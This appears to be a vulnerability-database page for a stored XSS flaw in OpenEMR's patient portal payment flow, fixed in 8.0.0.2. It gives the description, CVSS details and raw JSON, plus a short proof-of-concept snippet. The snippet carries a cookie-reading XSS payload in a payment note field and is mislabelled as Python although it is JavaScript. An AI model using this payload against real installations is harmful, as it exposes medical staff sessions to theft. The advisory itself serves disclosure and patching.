Security Vulnerability Report
中文
CVE-2026-33346 CVSS 8.7 HIGH

CVE-2026-33346

Published: 2026-03-19 21:17:12
Last Modified: 2026-03-20 19:16:19

Description

OpenEMR is a free and open source electronic health records and medical practice management application. Prior to 8.0.0.2, a stored cross-site scripting (XSS) vulnerability in the patient portal payment flow allows a patient portal user to persist arbitrary JavaScript that executes in the browser of a staff member who reviews the payment submission. The payload is stored via `portal/lib/paylib.php` and rendered without escaping in `portal/portal_payment.php`. Version 8.0.0.2 fixes the issue.

CVSS Details

CVSS Score
8.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:* - VULNERABLE
OpenEMR < 8.0.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-33346 OpenEMR Stored XSS // Payload to be injected into the payment flow (e.g., payment note field) // The vulnerable endpoint is portal/lib/paylib.php const xssPayload = '<img src=x onerror=alert(document.cookie)>'; // Simulate the vulnerable request // In a real attack, this would be a legitimate payment request with the payload injected let data = { "payment_method": "credit_card", "payment_note": xssPayload // Injecting malicious script here }; console.log("[+] Sending malicious payment request with payload:", xssPayload); // When a staff member visits portal/portal_payment.php to review the payment, // the XSS payload triggers and executes the alert.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33346", "sourceIdentifier": "[email protected]", "published": "2026-03-19T21:17:12.180", "lastModified": "2026-03-20T19:16:19.253", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenEMR is a free and open source electronic health records and medical practice management application. Prior to 8.0.0.2, a stored cross-site scripting (XSS) vulnerability in the patient portal payment flow allows a patient portal user to persist arbitrary JavaScript that executes in the browser of a staff member who reviews the payment submission. The payload is stored via `portal/lib/paylib.php` and rendered without escaping in `portal/portal_payment.php`. Version 8.0.0.2 fixes the issue."}, {"lang": "es", "value": "OpenEMR es una aplicación gratuita y de código abierto de registros médicos electrónicos y gestión de consultorios médicos. Antes de la versión 8.0.0.2, una vulnerabilidad de cross-site scripting (XSS) almacenado en el flujo de pago del portal del paciente permite a un usuario del portal del paciente persistir JavaScript arbitrario que se ejecuta en el navegador de un miembro del personal que revisa el envío del pago. La carga útil se almacena a través de 'portal/lib/paylib.php' y se renderiza sin escape en 'portal/portal_payment.php'. La versión 8.0.0.2 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open-emr:openemr:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.0.0.2", "matchCriteriaId": "C78F19AD-BD18-4F61-8B1C-DD099DBC6D34"}]}]}], "references": [{"url": "https://github.com/openemr/openemr/commit/6e9e1566d6e271a6d839614674b887e3a73d7da1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openemr/openemr/security/advisories/GHSA-qvf6-6xc6-9qv7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/openemr/openemr/security/advisories/GHSA-qvf6-6xc6-9qv7", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}